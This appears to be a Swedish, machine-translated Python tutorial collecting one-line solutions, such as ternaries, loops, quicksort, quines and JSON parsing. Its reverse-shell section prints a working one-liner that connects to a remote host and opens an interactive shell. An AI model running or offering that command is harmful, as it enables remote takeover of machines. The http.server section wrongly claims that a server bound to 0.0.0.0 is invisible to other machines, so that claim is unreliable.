Python >> Python Program >  >> Python

Python One Line X

Detta är ett löpande dokument där jag kommer att svara på alla frågor om den enda raden med Python-kod. Om du vill bli en enkel guide , kolla in min bok "Python One-Liners"! 🙂

Det här dokumentet innehåller många interaktiva kodskal och videor som hjälper dig att förstå. Det är dock ganska långsamt på grund av alla skript i det. Om du vill ha en snabbare version utan någon video och interaktivt kodskal, kolla in följande avskalade version av den här artikeln :

[Blogghandledning] 56 Python One-Liner för att imponera på dina vänner

Så, är du redo att lära dig om Python One-Liners? Låt oss komma igång!

Python One Line If Else

Du kan använda en enkel if-sats i en enda kodrad. Detta kallas den ternära operatorn. Den mest grundläggande ternära operatorn x if c else y returnerar uttrycket x om det booleska uttrycket c utvärderas till True . Annars, om uttrycket c utvärderas till False , returnerar den ternära operatorn det alternativa uttrycket y .

Här är ett minimalt exempel:

var = 21 if 3<2 else 42
# var == 42

Ternär (från latin ternarius ) är ett adjektiv som betyder ”sammansatt av tre objekt” . (källa) Så bokstavligen är den ternära operatorn i Python sammansatt av tre operander.

Syntax :De tre operanderna är skrivna som x if c else y som lyder som "retur x om c annars returnerar du y ". Låt oss skriva detta mer intuitivt som:

<OnTrue> if <Condition> else <OnFalse>
Operand Beskrivning
Returuttrycket för operatorn om villkoret evalueras till True
Villkoret som avgör om grenen eller ska returneras.
Returuttrycket för operatorn om villkoret evalueras till False

Relaterad självstudie :Den ternära operatören i Python — Allt du behöver veta

Låt oss ta en titt på ett annat minimalt exempel i vårt interaktiva kodskal:

Träning :Kör koden och ange din ålder. Vad är resultatet? Kör koden igen och försök ändra utdata!

För att förstärka din one-liner-kraft kan du lyssna på min detaljerade videoförklaring:

Men vad händer om du vill lägga till en "elif"-gren till din ternära operatör? Är detta möjligt på en enda rad?

Python One Line Elif

Vid det här laget har du lärt dig hur du skriver if-else-satsen i en enda kodrad med den ternära operatorn. Men kan du göra detsamma med en elif-sats om du har flera villkor?

Såklart du kan! (Om du är osäker på om du kan göra XYZ på en enda rad av Python, anta bara att du kan. Kolla in min nya bok "Python One-Liners" för att bemästra den enda kodraden!)

Säg att du vill skriva följande if-then-else-villkor i en enda kodrad:

>>> x = 42
>>> if x > 42:
>>>     print("no")
>>> elif x == 42:
>>>     print("yes")
>>> else:
>>>     print("maybe")
yes

Elif-grenen vinner:du skriver ut utdata "yes" till skalet. Men hur gör man det på en enda kodrad? Använd bara den ternära operatorn med en elif-sats kommer inte att fungera (det ger ett syntaxfel).

Svaret är enkelt:kapsla två ternära operatorer som så:

>>> print("no") if x > 42 else print("yes") if x == 42 else print("maybe")
yes

Om värdet x är större än 42 skriver vi "nej" till skalet. Annars kör vi resten av koden (som är en ternär operator i sig själv). Om värdet x är lika med 42 skriver vi "ja", annars "kanske".

Så genom att kapsla flera ternära operatorer kan vi avsevärt öka vår Python one-liner kraft!

Relaterad artikel :Python Ternary Elif

Nu vet du hur du kan lägga till fler villkor i ett villkorligt uttalande på en rad. En intressant fråga är om man också kan lägga till färre villkor?

Python One Line If Without Else

Att skapa vackra Python one-liners är lika mycket en konst som det är en vetenskap. I den här handledningen kommer du att lära dig hur du komprimerar en if-sats utan en annan gren till en enda rad med Python-kod.

Problem :Vad är motsvarigheten till enkel if-sats utan en annan gren?

Här är ett exempel:

condition = True

if condition:
    print('hi')

# hi

Du kanske vill (i) skriva ut något, (ii) tilldela ett värde till en variabel eller (iii) lägga till ett element i en lista om villkoret gäller.

Därefter ska jag visa dig fyra metoder för hur du uppnår detta mål. Alla fyra metoderna är generellt tillämpliga – och du kan enkelt anpassa dem till din specifika applikation.

Låt oss få en snabb översikt över de fyra metoderna i vårt interaktiva kodskal:

Träning :Kör koden för båda True och False betingelser. Är alla metoder semantiskt likvärdiga?

Läs mer om dessa metoder i min detaljerade bloggartikel.

Python One Line-funktion

Det mest pytoniska sättet att definiera en funktion på en enda rad är att (1) skapa en anonym lambdafunktion och (2) tilldela funktionsobjektet ett variabelnamn. Du kan sedan anropa funktionen vid namn precis som alla andra regelbundet definierade funktioner. Till exempel uttrycket f = lambda x: x+1 skapar en funktion f som ökar argumentet x med en och returnerar resultatet:f(2) returnerar 3 .

Problem :Hur definierar man en funktion i en enda rad med Python-kod? Låt oss utforska den här uppdragskritiska frågan!

Exempel :Säg att du vill skriva följande funktion i en enda kodrad:

def f(x):
    return str(x * 3) + '!'

print(f(1))
# 3!

print(f('python'))
# pythonpythonpython!

Låt oss först få en snabb översikt över hur du gör detta:

Träning :Ändra one-liner-funktionerna för att returnera versalversionen av den genererade strängen med string.upper() fungera. Kör sedan koden för att se om din utdata är korrekt!

Relaterad artikel :3 pytoniska sätt att definiera en funktion på en rad [för hackare]

Python One Line For Loop

Python är kraftfullt - du kan kondensera många algoritmer till en enda rad med Python-kod. Så den naturliga frågan uppstår:kan du skriva en for-loop i en enda kodrad? Den här artikeln utforskar denna verksamhetskritiska fråga i detalj.

Hur skriver man en For Loop i en enda rad med Python-kod?

Det finns två sätt att skriva en one-liner för loop:

  • Om loopkroppen består av en sats, skriv helt enkelt denna sats på samma rad:for i in range(10): print(i) . Detta skriver ut de första 10 siffrorna till skalet (från 0 till 9).
  • Om syftet med slingan är att skapa en lista, använd istället listförståelse:squares = [i**2 for i in range(10)] . Koden kvadrerar de första tio siffrorna och lagrar dem i listan squares .

Relaterad artikel :Python One Line For Loop

Python One Line For Loop If

Du kan också ändra listförståelsesatsen genom att begränsa sammanhanget med en annan if-sats:

Problem :Säg att vi vill skapa en lista med kvadratiska tal – men du tar bara hänsyn till jämna och ignorerar udda tal.

Exempel :Multiliner-sättet skulle vara följande.

squares = []

for i in range(10):
    if i%2==0:
        squares.append(i**2)
    
print(squares)
# [0, 4, 16, 36, 64]

Du skapar en tom lista squares och lägg successivt till ytterligare ett kvadrattal som börjar från 0**2 och slutar på 8**2 – men bara med tanke på de jämna talen 0, 2, 4, 6, 8. Resultatet är alltså listan [0, 4, 16, 36, 64] .

Återigen kan du använda listförståelse [i**2 for i in range(10) if i%2==0] med en restriktiv if-sats (i fetstil) i kontextdelen för att komprimera detta i en enda rad med Python-kod:

print([i**2 for i in range(10) if i%2==0])
# [0, 4, 16, 36, 64]

Denna rad ger samma utdata med mycket mindre bitar.

Relaterad artikel :Python One Line For Loop With If

Python One Line För Loop Lambda

Problem :Givet en samling. Du vill skapa en ny lista baserad på alla värden i den här samlingen. Koden ska köras i en enda kodrad. Hur lyckas du med detta? Behöver du en lambdafunktion?

Exempel :Givet en array a = [1, 2, 3, 4] . Du måste skapa en andra array b med alla värden på a – samtidigt som du lägger till +1 till varje värde. Här är din multiliner:

a = [1, 2, 3, 4]
b = []
for x in a:
    b.append(x+1)
print(b)
# [2, 3, 4, 5]

Hur gör du detta på en enda kodrad?

Svar :Nej, du behöver ingen lambdafunktion. Det du letar efter är en funktion som kallas listförståelse. Här är one-liner-uttrycket som gör detta utan lambda-funktionen:

b = [x+1 for x in a]
print(b)
# [2, 3, 4, 5]

Låt oss dyka ner i lite bakgrundsinformation om du undrar hur listförståelse fungerar. Baserat på din fråga misstänker jag också att du inte helt förstår lambdafunktioner heller, så jag lägger även till ett annat avsnitt om lambdafunktioner. Slutligen kommer du också att lära dig om en tredje alternativ metod för att lösa detta exakta problem genom att använda lambda-funktionen i kombination med Pythons inbyggda map()-funktion!

Så stanna hos mig – du kommer att bli en bättre kodare i processen! 🙂

Relaterad artikel :Python One Line For Loop Lambda

Python One Line While Loop

Det finns tre sätt att skriva en one-liner while loop:

  • Metod 1 :Om loopkroppen består av en sats, skriv denna sats på samma rad:while True: print('hi') . Detta skriver ut strängen 'hi' till skalet så länge du inte stör eller ditt operativsystem med våld avbryter exekveringen.
  • Metod 2: Om loopkroppen består av flera satser, använd semikolon för att separera dem:while True: print('hi'), print('bye') . Detta kör satserna efter varandra inom while-loopen.
  • Metod 3 :Om loopkroppen består av kapslade sammansatta satser, ersätt de inre sammansatta strukturerna med den ternära operatorn:while True: print('hi') if condition else print('bye' ).

Träning :Kör koden. Vad observerar du? Försök att fixa den oändliga slingan!

Du kan läsa mer om dessa metoder i vår detaljerade bloggartikel.

Python One Line HTTP-webbserver

Vill du skapa din egen webbserver i en enda rad med Python-kod? Inga problem, använd bara det här kommandot i ditt skal:

$ python -m http.server 8000

Terminalen säger till dig:

Serving HTTP on 0.0.0.0 port 8000

För att stänga av din webbserver, döda Python-programmet med CTRL+c .

Detta fungerar om du har Python 3 installerat på ditt system. För att kontrollera din version, använd kommandot python – version i ditt skal.

Du kan köra det här kommandot i ditt Windows Powershell, Win Command Line, MacOS Terminal eller Linux Bash Script.

Du kan se på skärmdumpen att servern körs på din lokala värd och lyssnar på port 8000 (standard HTTP-porten för att betjäna webbförfrågningar).

Obs :IP-adressen är INTE 0.0.0.0 – det här är ett ofta förvirrat misstag av många läsare. Istället lyssnar din webbserver på din "lokala" IP-adress 127.0.0.1 på port 8000. Således kommer endast webbförfrågningar som utfärdas på din dator att komma till denna port. Webbservern är INTE synlig för omvärlden.

Python 2 :För att köra samma enkla webbserver på Python 2 måste du använda ett annat kommando med SimpleHTTPServer istället för http :

$ python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...

Om du vill starta din webbserver från ditt Python-skript, inga problem:

import http.server
import socketserver

PORT = 8000

Handler = http.server.SimpleHTTPRequestHandler

with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print("serving at port", PORT)
    httpd.serve_forever()

Den här koden kommer från den officiella Python-dokumentationen – läs gärna mer om du är intresserad av att ställa in servern (det mesta av koden är relativt självförklarande).

Källa :Python One-Liner Webserver HTTP

Python One Line Skriv sträng till fil

Problem :Givet en sträng och ett filnamn. Hur skriver man in strängen i filen med filnamn med bara en enda rad Python-kod?

Exempel :Du har filnamnet 'hello.txt' och du vill skriva strängen 'hello world!' i filen.

hi = 'hello world!'
file = 'hello.txt'

# Write hi in file

'''
# File: 'hello.txt':
hello world!
'''

Hur uppnår man detta? Här är fyra sätt att göra det på en enda kodrad!

Här är en snabb översikt i vårt interaktiva Python-skal:

Träning :Kör koden och kontrollera filen 'hello.txt' . Hur många 'hello worlds!' finns det i filen? Ändra koden så att endast en 'hello world!' finns i filen!

Du kan lära dig mer om dessa metoder i min detaljerade bloggartikel!

Python One Line Quine

De flesta datavetare, programmerare och hackare vet inte ens innebörden av ordet "Quine" i programmeringssammanhang. Så, först till kvarn:

I grova drag är en quine ett självreproducerande program:om du kör det genererar det sig självt.

Här är en bra definition:

:quine :/kwi:n/ /n./ [från namnet på logikern Willard van Orman Quine, via Douglas Hofstadter] Ett program som genererar en kopia av sin egen källtext som sin fullständiga utdata. Att ta fram kortast möjliga quine i något givet programmeringsspråk är ett vanligt nöje. (källa)

Kortast möjliga quine är följande tomma program:

 

Programmet är självreproducerande eftersom resultatet av programmet är själva programmet. Varsågod och kör den i ditt eget skal! 😉

Här är en kort Quine som jag hittade i den här resursen:

s='s=%r;print(s%%s,sep="")';print(s%s,sep="")
  • Du kanske vill förbättra dina färdigheter i strängformatering för att verkligen förstå den här strängen.
  • Separeringsargumentet för utskriftsfunktionen undviker att skriva ut ett nyradstecken i slutet.
  • %r formatspecificeraren tillhandahåller automatiskt enstaka citattecken.

För att lära dig mer om Quines, kolla in min detaljerade bloggartikel:

Relaterad artikel :Python One-Line Quines

Python One Line Quicksort

I den här självstudien får du lära dig om den populära sorteringsalgoritmen Quicksort. Överraskande nog är en enda rad Python-kod allt du behöver för att skriva Quicksort-algoritmen!

Problem :Givet en lista med numeriska värden (heltal eller flytande). Sortera listan på en enda rad med Python-kod med den populära Quicksort-algoritmen!

Exempel :Du har lista [4, 2, 1, 42, 3] . Du vill sortera listan i stigande ordning för att få den nya listan [1, 2, 3, 4, 42] .

Kort svar :Följande one-liner-lösning sorterar listan rekursivt med hjälp av Quicksort-algoritmen:

q = lambda l: q([x for x in l[1:] if x <= l[0]]) + [l[0]] + q([x for x in l if x > l[0]]) if l else []

Nu, låt oss dyka in i några detaljer!

Följande introduktion är baserad på min nya bok "Python One-Liners" (Amazon Link) som lär dig kraften i den enda kodraden (använd den klokt)!

Introduktion :Quicksort är inte bara en populär fråga i många kodintervjuer – ställd av Google, Facebook och Amazon – utan också en praktisk sorteringsalgoritm som är snabb, koncis och läsbar. På grund av dess skönhet kommer du inte att hitta många introduktioner till algoritmklasser som inte diskuterar Quicksort-algoritmen.

Översikt :Quicksort sorterar en lista genom att rekursivt dela upp det stora problemet (sortera listan) i mindre problem (sortera två mindre listor) och kombinera lösningarna från de mindre problemen på ett sätt som löser det stora problemet. För att lösa varje mindre problem används samma strategi rekursivt:de mindre problemen delas upp i ännu mindre delproblem, löses separat och kombineras. På grund av denna strategi tillhör Quicksort klassen "Dela och erövra"-algoritmer.

Algorithm :Huvudidén med Quicksort är att välja ett pivotelement och sedan placera alla element som är större eller lika med pivotelementet till höger och alla element som är mindre än pivotelementet till vänster. Nu har du delat upp det stora problemet med att sortera listan i två mindre delproblem:sortering av höger och vänster partition i listan. Vad du gör nu är att upprepa denna procedur rekursivt tills du får en lista med noll element. Denna lista är redan sorterad, så rekursionen avslutas.

Följande bild visar Quicksort-algoritmen i funktion:

Figur :Quicksort-algoritmen väljer ett pivotelement, delar upp listan i (i) en osorterad underlista med alla element som är mindre eller lika med pivoten, och (ii) en osorterad underlista med alla element som är större än pivoten. Därefter anropas Quicksort-algoritmen rekursivt på de två osorterade underlistorna för att sortera dem. Så snart underlistorna innehåller maximalt ett element sorteras de per definition – rekursionen slutar. På varje rekursionsnivå sammanfogas de tre underlistorna (vänster, pivot, höger) innan den resulterande listan överlämnas till den högre rekursionsnivån.

Du skapar en funktion q som implementerar Quicksort-algoritmen i en enda rad med Python-kod – och därmed sorterar alla argument som ges som en lista med heltal.

## The Data
unsorted = [33, 2, 3, 45, 6, 54, 33]


## The One-Liner
q = lambda l: q([x for x in l[1:] if x <= l[0]]) + [l[0]] + q([x for x in l if x > l[0]]) if l else []

 
## The Result
print(q(unsorted))

Vad är resultatet av den här koden?

## The Result
print(q(unsorted))
# [2, 3, 6, 33, 33, 45, 54]

Python One Line med uttalande

Problem :Kan du skriva with uttalande i en enda kodrad?

Lösning :Ja, du kan skriva with sats i en enda kodrad om loopkroppen endast består av en sats:

with open('code.py') as code: print(code.read())

I allmänhet kan du skriva vilket indragsblock som helst (som if). uttalanden, with miljöer eller while loops) i en enda kodrad om kroppen endast består av en sats.

Relaterad artikel :Python One Line With Statement

Python One Line Undantagshantering

Sammanfattning :Du kan utföra en rad undantagshantering med exec() lösningen genom att skicka den enradiga try /except blockera som en sträng i funktionen så här:exec('try:print(x)\nexcept:print("Exception!")') . Denna allmänna metod fungerar för alla anpassade, även flerradiga, försök och förutom block. Du bör dock undvika denna enradskod på grund av den dåliga läsbarheten.

Overraskande nog har det förekommit en diskussion om en rad undantagshantering på den officiella Python-sändlistan 2013. Men sedan dess har det inte funnits någon ny funktion för "One-Line Exception Handling" i Python. Så vi måste hålla fast vid metoderna som visas i denna handledning. Men de kommer att bli roliga – utlovat!

Låt oss dyka in i problemet:

Problem :Hur skriver man try/except-blocket i en enda rad med Python-kod?

Exempel :Tänk på följande försök/utom-block.

try:
    print(x)
except:
    print('Exception!')

Lösning :låt oss få en snabb översikt i vårt interaktiva kodskal:

Träning :Kör koden. Varför finns det bara tre utdatarader? Ändra koden så att var och en av de fyra metoderna genererar en utdata!

Relaterad artikel: Läs mer om en rad undantagshanteringsmetoder i min detaljerade blogghandledning.

Python One Line Execute

Problem :Givet ett flerrads kodskript i Python. Hur kör man detta flerradiga skript i en enda rad med Python-kod? Hur gör man det från kommandoraden?

Exempel :Säg att du har följande for loop med en kapslad if-sats i for loop-kroppen. Vill du köra detta på en enda rad från din kommandorad?

x = 10
for i in range(5):
    if x%2 == 0:
        print(i)
    else:
        print(x)
    x = x - 1

'''
0
9
2
7
4
'''

Koden skriver ut fem siffror på skalet. Den skriver bara ut de udda värdena för x . Om x tar ett jämnt värde, den skriver ut loopvariabeln i .

Du kan skriva vilken källkod som helst i en sträng och köra strängen med den inbyggda exec() funktion i Python. Detta är föga känt - men hackare använder ofta detta för att packa skadlig kod på en enda rad som till synes är ofarlig.

Om du har kod som sträcker sig över flera rader kan du packa den i en enradssträng genom att använda nyradstecknet '\n' i din sträng:

# Method 1
exec('x = 10\nfor i in range(5):\n    if x%2 ==0: print(i)\n    else: print(x)\n    x = x-1')

Detta enradiga kodavsnitt är semantiskt ekvivalent med ovanstående kapslade för-loop som kräver sju rader kod! Utgången är densamma:

'''
0
9
2
7
4
'''

Relaterad artikel :Hur kör man flera rader i en enda rad Python från kommandoraden?

Python One Line Reverse Shell

Här är definitionen av ett omvänt skal:

Ett omvänt skal används av hackare för att få tillgång till en målmaskin. Målmaskinen öppnar ett skal för att kommunicera med den attackerande maskinen. Den attackerande maskinen tar emot anslutningen (lyssnar på en given port) och kan nu komma åt måldatorn. För att åstadkomma ett omvänt skal måste en hackare exekvera kod på en målmaskin. Omvända skal används också av säkerhetsingenjörer för att testa och förhindra omvända skalattacker.

Jag hittade den här koden i en bloggtråd. Du kan köra det från vilken dator som helst med Python installerat och synligt från din nuvarande plats:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Men du bör aldrig köra kod som är kopierad och inklistrad från en internetkälla. Vad händer om koden tar bort alla filer från din dator?

Du kan läsa hela artikeln om omvända skalattacker och trojanska hästar i Python här.

Python One Line Read File

Säg att din fil är lagrad i filen 'code.py' . Nu kan du öppna filen, läsa alla rader, bli av med inledande och efterföljande blanksteg och lagra resultatet i en Python-lista i en enda kodrad. Här är koden:

print([line.strip() for line in open("code.py")])

Python är vackert! ?

Relaterad artikel :One-Liner för att läsa en fil i Python

Python One Line Return If

Problem :Hur återgår man från en Python-funktion eller -metod på en rad?

Exempel :Tänk på följande "mål" uttalande:

def f(x):
    return None if x == 0

Detta leder dock till ett syntaxfel:

Så här skriver du retursatsen med ett if-uttryck på en enda rad med Python-kod:

def f(x):
    if x==0: return None

Jag bör notera att PEP 8 faktiskt är bra med att skriva if block-satser på en enda rad. Ändå är standardreturvärdet för en funktion None så koden gör egentligen ingenting.

Relaterad artikel :Python One Line Return om

Python One Line Recursion

Två sätt att skriva en rekursiv one-liner: (1) skriv funktionen med retursatsen på en enda rad som i def f(x): return f(x+1) , eller (2) tilldela en lambdafunktion till ett variabelnamn och använd variabelnamnet i returuttrycket för lambdafunktionen som i f = lambda x: f(x) . För att definiera ett rekursionsbasfall kan du använda den ternära operatorn x if c else y för att returnera x om villkor c uppfylls, annars y .

Låt oss dyka ner i problemet och flera detaljerade exempel!

Problem :Hur man skriver en rekursiv funktion i en enda kodrad?

Du kan tycka att detta är utmanande eftersom du behöver definiera funktionsnamnet, basfallet och det rekursiva funktionsanropet – allt i en enda rad med Python-kod!

Relaterad artikel :För att fräscha upp dina allmänna rekursionskunskaper, kolla in min detaljerade bloggartikel (inklusive video).

Här är en översikt över de olika algoritmerna, vi enlinjade rekursivt! 😉

Träning :Kör koden och testa resultaten. Är de korrekta? Ändra nu ingångarna till rekursionsbasfallen och kör koden igen! Är de korrekta?

Låt oss dyka in i var och en av dessa metoder i den här bloggartikeln!

Python One Line Regex

Sammanfattning :För att matcha en pattern i en given text använd bara en enda rad med Python-kod, använd enradaren import re; print(re.findall(pattern, text)) som importerar det reguljära uttrycksbiblioteket re och skriver ut resultatet av findall() funktion till skalet.

re.findall(pattern, string, flags=0) metod returnerar en lista med strängmatchningar. Läs mer i vår blogghandledning.

# Method 1: findall()
import re; print(re.findall('F.*r', 'Learn Python with Finxter'))
# ['Finxter']

Det finns inget bättre sätt att importera re biblioteket och anropa re.findall() funktion i en enda kodrad – du måste använda semikolonet A;B för att separera satserna A och B .

findall() funktion hittar alla förekomster av mönstret i strängen.

Relaterad artikel :Python One Line Regex Match

Python One Line Replace

Problem :Du använder Python i en terminal och du vill ersätta en sträng 'example' i en textfil file.txt :

xxxxx example xxxxx

Ditt mål är att åstadkomma följande text:

xxxxx replaced_example xxxxx

I synnerhet vill du öppna filen, ersätta texten och skriva om resultatet till filen – allt på en enda rad med Python-kod!

Kan en Python one-liner åstadkomma detta?

Lösning :Ersätt alla förekomster av "example" med "replaced_example" och skriv ut resultatet till standardinmatningen:

python -c "print(open('file.txt').read().replace('example','replaced_example'))"

Ersätt-metoden ersätter alla förekomster av det första argumentet med det andra argumentet. Den returnerar den nya strängen. Du kan nu skriva ut resultatet till stdin eller skriva tillbaka det till en fil.

Relaterad artikel :Python One Line Replace

Python One Line Ternary

Ternär (från latin ternarius ) är ett adjektiv som betyder ”sammansatt av tre objekt” . (källa) Så bokstavligen är den ternära operatorn i Python sammansatt av tre operander.

Syntax :De tre operanderna är skrivna i en intuitiv kombination ... if ... else ... .

<On True> if <Condition> else <On False>
Operand Beskrivning
Returuttrycket för operatorn om villkoret evalueras till True
Villkoret som avgör om grenen eller ska returneras.
Returuttrycket för operatorn om villkoret evalueras till False

Låt oss ta en titt på ett minimiexempel i vårt interaktiva kodskal:

Träning :Kör koden och ange din ålder. Vad är resultatet? Kör koden igen och försök ändra utdata!

Python One Line Two för loopar (dubbel)

Problem :Hur man skriver en kapslad for loop som en Python one-liner? Grovt sett vill du iterera över två eller flera iterables som är kapslade i varandra. Här är ett exempel på en multiliner med två kapslade slingor:

iter1 = [1, 2, 3, 4]
iter2 = ['a', 'b', 'c']

for x in iter1:
    for y in iter2:
        print(x, y)

'''
1 a
1 b
1 c
2 a
2 b
2 c
3 a
3 b
3 c
4 a
4 b
4 c
'''

Här är en snabb översikt:

Läs hela artikeln här.

Python One Line Two-kommandon

Problem :Givet flera Python-satser. Hur skriver man dem som en Python One-Liner?

Exempel :Betrakta följande exempel på fyra satser i ett block med enhetlig indrag:

a = 1
b = 2
c = a + b
print(c)

Var och en av de fyra påståendena skrivs på en separat rad i en kodredigerare – det här är den normala proceduren. Men vad händer om du vill göra dem enklare:

Hur skriver man alla fyra satserna i en enda kodrad?

Lösning :Svaret är enkelt om alla påståenden har en enhetlig indragning och det inte finns något kapslat block. I det här fallet kan du använda semikolon som avgränsare mellan satserna:

a = 1; b = 2; c = a + b; print(c)

Relaterad artikel :Hur man skriver flera påståenden på en enda rad i Python?

Python en rad till flera rader

För att bryta en rad i flera rader i Python, använd en öppningsparentes i raden du vill bryta. Nu förväntar Python den avslutande parentesen i en av de följande raderna och uttrycket utvärderas över linjegränserna. Som ett alternativ kan du också använda omvänt snedstreck \ precis framför radbrytningen för att undkomma nyradstecken.

Efter att ha publicerat en artikel om hur man kondenserar flera rader till en enda rad med Python-kod, frågade många Finxters: Hur man bryter en lång rad till flera rader i Python ?

Problem :Med tanke på en lång rad med Python-kod. Hur delar man upp det i flera rader?

Det finns flera sätt att dela upp detta i flera rader. Låt oss först få en överblick:

Träning :Kör koden. Vad är resultatet? Ändra metod 3 och skriv den som en rad igen!

Du kan dyka in i alla dessa metoder i min bloggartikel här.

Python One Line URL Decode

URL-kodning "är en metod för att koda information i en URI (Uniform Resource Identifier)" . Det kallas också för Procentkodning eftersom procentsymboler används för att koda vissa reserverade tecken:

! # $ % & ' ( ) * + , / : ; = ? @ [ ]
%21 %23 %24 %25 %26 %27 %28 %29 %2A %2B %2C %2F %3A %3B %3D %3F %40 %5B %5D
$ alias urldecode='python3 -c "import sys, urllib.parse as ul; \
    print(ul.unquote_plus(sys.argv[1]))"'

$ alias urlencode='python3 -c "import sys, urllib.parse as ul; \
    print (ul.quote_plus(sys.argv[1]))"'

Här är ett exempel på användning:

$ urldecode 'q+werty%3D%2F%3B'
q werty=/;

$ urlencode 'q werty=/;'
q+werty%3D%2F%3B

Källa

Relaterad artikel: URL-avkodningsmetoder

Python One Line Object

Problem :Hur skapar man ett Python-objekt i en enda kodrad? Och hur kan du associera anpassade egenskaper till detta objekt på samma rad?

Exempel :Säg att du vill göra något som det här pseudokodavsnittet:

var newObject = new({'property' : 'value' })
newObject.property # returns 'value'

Du kan dock inte göra detsamma i Python eftersom detta skulle skapa en ordbok:

new_object = {'property': 'value'}
new_object.property
# raises an AttributeError

Detta ger en AttributeError eftersom det inte finns något attribut property kopplat till ordboksobjektet. För att komma åt ordboksnyckeln i det här fallet måste du använda syntaxen new_object['property'] .

Så, hur skapar man ett inline Python-objekt med attribut i en enda rad med Python-kod?

Här är en snabb översikt över våra tre metoder:

Träning :Ger alla tre metoderna samma resultat? Kör koden för att testa den!

Vill du dyka in i var och en av dessa metoder mer i detalj? Läs den här artikeln:

Relaterad artikel :Hur skapar man inline-objekt med egenskaper? [Python One-Liner]

Python One Line Print

Problem :Hur man använder print() funktion utan att skriva ut ett implicit nyradstecken till Python-skalet?

Exempel :Säg att du vill använda print() funktion inom en for-loop – men du vill inte se flera rader mellan de utskrivna utdata:

for i in range(1,5):
    print(i)

Standardstandardutgången är följande:

1
2
3
4

Men du vill få följande utdata på en enda rad med Python-kod.

1 2 3 4

Hur gör man detta i Python 3?

Lösning :Jag ger dig den snabba lösningen i ett interaktivt Python-skal här:

Genom att läsa vidare kommer du att förstå hur detta fungerar och bli en bättre kodare i processen.

Relaterad artikel :Hur man skriver ut utan Newline i Python

Python One Line Parse JSON

Problem :Hur analyserar man ett JSON-objekt som en Python One-Liner?

Exempel :Säg att du har hämtat ett JSON-objekt från en server med curl kommando:

curl -s http://example.com | python -mjson.tool
{
    "continent_code": "EU",
    "country": "Netherlands",
    "country_code": "NL",
    ...
    "timezone": "Europe/Amsterdam"
}

Källa

Hur man analyserar det resulterande JSON-objektet och extraherar till exempel värdet "Netherlands" kopplad till "country" nyckel?

Lösning :Följande one-liner åstadkommer detta:

curl -s http://example.com | python -c 'import sys, json; print(json.load(sys.stdin)["country"])'

Du kan hitta en detaljerad, steg-för-steg-förklaring av denna one-liner i följande artikel.

Relaterad artikel :Hur man analyserar JSON i en Python One-Liner?

Python One Line Pretty Print JSON

Problem :Givet ett JSON-objekt. Hur skriver man ut det snyggt från skalet/terminalen/kommandoraden med en Python one-liner?

Minimalt exempel :Du har gett följande JSON-objekt:

{"Alice": "24", "Bob": "28"}

Och du vill få följande utskrift:

{
    "Alice": "24",
    "Bob": "28"
}

Hur åstadkommer man detta med en Python one-liner?

Standardsättet att åstadkomma detta i ett Python-skript är att importera json bibliotek för att lösa problemet:

Träning :Kör skriptet. Vad är resultatet? Ändra nu antalet indragsmellanslag till 2!

Du kan lära dig allt som finns att veta om snygga utskrifter av JSON-objekt från din kommandorad i denna handledning:

Relaterad artikel :Pretty Print JSON [Python One-Liner]

Python One Line Array Filter

Hur kan du filtrera en array i Python med ett godtyckligt villkor?

Det mest pytoniska sättet att filtrera en array är listförståelsesatsen [x for x in list if condition] . Du kan ersätta condition med valfri funktion x du vill använda som ett filtreringskriterium.

Om du till exempel vill filtrera alla element som är mindre än till exempel 10, skulle du använda listförståelsesatsen [x for x in list if x<10] för att skapa en ny lista med alla listelement som är mindre än 10.

Här är tre exempel på filtrering av en lista:

  • Hämta element mindre än åtta:[x for x in lst if x<8] .
  • Hämta jämna element:[x for x in lst if x%2==0] .
  • Hämta udda element:[x for x in lst if x%2] .
lst = [8, 2, 6, 4, 3, 1]

# Filter all elements <8
small = [x for x in lst if x<8]
print(small)


# Filter all even elements
even = [x for x in lst if x%2==0]
print(even)

# Filter all odd elements
odd = [x for x in lst if x%2]
print(odd)

Utdata är:

# Elements <8
[2, 6, 4, 3, 1]

# Even Elements
[8, 2, 6, 4]

# Odd Elements
[3, 1]

Detta är det mest effektiva sättet att filtrera en array och det är också det mest pytoniska.

Relaterad artikel :Hur filtrerar man en lista i Python?

Python One Line Bifoga

Problem :Hur kan vi lägga till flera element till en lista i en for-loop men med bara en enda rad med Python-kod?

Exempel :Säg att du vill filtrera en lista med ord mot en annan lista och lagra de resulterande orden i en ny lista med metoden append() i en for-loop.

# FINXTER TUTORIAL:
# How to filter a list of words?

words = ['hi', 'hello', 'Python', 'a', 'the']
stop_words = {'a', 'the'}
filtered_words = []

for word in words:
    if word not in stop_words:
        filtered_words.append(word)

print(filtered_words)
# ['hi', 'hello', 'Python']

Du skapar först en lista med ord som ska filtreras och lagras i en initialt tom lista filtered_words . För det andra skapar du en uppsättning stoppord mot att du vill kontrollera orden i listan. Observera att det är mycket effektivare att använda den inställda datastrukturen för detta eftersom det går mycket snabbare att kontrollera medlemskap i uppsättningar än att kontrollera medlemskap i listor. Se den här handledningen för en fullständig guide om Python-uppsättningar.

Du itererar nu över alla element i listan words och lägg till dem i filtered_words lista om de inte finns i uppsättningen stop_words .

Lösning :Du kan enlinjeforma denna filtreringsprocessen med följande kod:

filtered_words = [word for word in words if word not in stop_words]

Lösningen använder listförståelse för att i huvudsak skapa en enkelrad för loop.

Här är den kompletta koden som löser problemet med hjälp av filtermetoden för en rad:

# FINXTER TUTORIAL:
# How to filter a list of words?

words = ['hi', 'hello', 'Python', 'a', 'the']
stop_words = {'a', 'the'}
filtered_words = [word for word in words if word not in stop_words]

print(filtered_words)
# ['hi', 'hello', 'Python']

Här är en kort handledning om filtrering om du behöver fler förklaringar:

Relaterade artiklar :

  • Hur filtrerar man en lista i Python?
  • Python One Line Lägg till

Python One Line And Or

Hur fungerar den booleska and och or fungerar operatörer i sammanhanget med Python one-liners?

Du kanske känner till standardanvändningen av de logiska operatorerna som tillämpas på booleska värden:

>>> True and False
False
>>> False or True
True

But there’s more to these operators that only experts in the art of writing concise Python one-liners know.

For instance, the following use of the or operator applied to non-Boolean values is little known:

>>> 'hello' or 42
'hello'
>>> [] or 42
42

Similarly, the following use of the and operator often causes confusion in readers of advanced Python one-liners:

>>> 'hello' and 42
42
